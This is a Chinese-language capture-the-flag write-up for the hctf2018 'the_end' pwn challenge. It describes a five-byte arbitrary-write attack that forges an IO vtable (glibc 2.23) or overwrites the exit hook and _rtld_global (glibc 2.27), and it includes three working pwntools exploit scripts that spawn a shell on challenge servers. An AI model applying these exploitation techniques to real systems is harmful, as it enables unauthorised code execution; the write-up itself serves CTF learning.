hctf2018_the_end
检查防护

IDA分析

我们可以任意位置写 5 字节
利用思路
- 利用的是在程序调用
exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。
- 可以先修改两个字节在当前
vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。
调试找出 _IO_2_1_stdout_ 和 libc 的偏移
1
| glibc 2.23下 vtables偏移0x3C56F8
|

查看虚表内容

在虚表附近寻找一个 fake_vtable,需满足以下条件:
fake_vtable_addr + 0x58 = libc_base + off_set_3
- 其中 0x58 根据下表查出是
set_buf 在虚表的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| void * funcs[] = { 1 NULL, 2 NULL, 3 exit, 4 NULL, 5 NULL, 6 NULL, 7 NULL, 8 NULL, 9 NULL, 10 NULL, 11 NULL, 12 NULL, 13 NULL, 14 NULL, 15 NULL, 16 NULL, 17 NULL, 18 pwn, 19 NULL, 20 NULL, 21 NULL, };
|
ctf-wiki上给的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context.log_level="debug"
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = remote('127.0.0.1',1234)
rem = 0 if rem ==1: p = remote('150.109.44.250',20002) p.recvuntil('Input your token:') p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')
sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = long(sleep_ad,16) - libc.symbols['sleep'] one_gadget = libc_base + 0xf02b0 vtables = libc_base + 0x3C56F8
fake_vtable = libc_base + 0x3c5588 target_addr = libc_base + 0x3c55e0
print 'libc_base: ',hex(libc_base) print 'one_gadget:',hex(one_gadget) print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
for i in range(2): p.send(p64(vtables+i)) p.send(p64(fake_vtable)[i])
for i in range(3): p.send(p64(target_addr+i)) p.send(p64(one_gadget)[i])
p.sendline("exec /bin/sh 1>&0")
p.interactive()
|
buu上给的环境是2.27的,以上方法行不通,需要打exit_hook
exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import *
context(os='linux', arch='amd64', log_level='debug') io=remote('node4.buuoj.cn',27071)
libc = ELF('./libc-2.27.so') one = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]
io.recvuntil('gift ') libc_base = int(io.recv(14),16)-libc.symbols['sleep'] exit_hook = libc_base+0x619060+3840 print 'libc_base-->'+hex(libc_base) print 'exit_hook-->'+hex(exit_hook) shell = libc_base+one[2] for i in range(len(one)): print('i-->'+hex(libc_base+one[i])) for i in range(5): io.send(p64(exit_hook+i)) sleep(0.1) io.send(p64(shell)[i]) sleep(0.1) sleep(0.1) io.sendline('exec 1>&0') io.interactive()
|
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
context(os='linux', arch='amd64', log_level='debug') io=remote('node4.buuoj.cn',27071)
libc = ELF('./libc-2.27.so') ld = ELF('/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so') one = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]
io.recvuntil('gift ') libc_base = int(io.recv(14),16)-libc.symbols['sleep']
ld.address = libc_base + 0x3F1000
exit_hook = libc_base+0x619060+3840 global_attack = ld.sym["_rtld_global"] + 0xF00 + 8 print 'libc_base-->'+hex(libc_base) print 'exit_hook-->'+hex(exit_hook) shell = p64(libc_base+one[1])
for i in range(5):
io.send(p64(global_attack+i)) sleep(0.1) io.send(shell[i:i+1]) sleep(0.1)
io.sendline('exec 1>&0') io.interactive()
|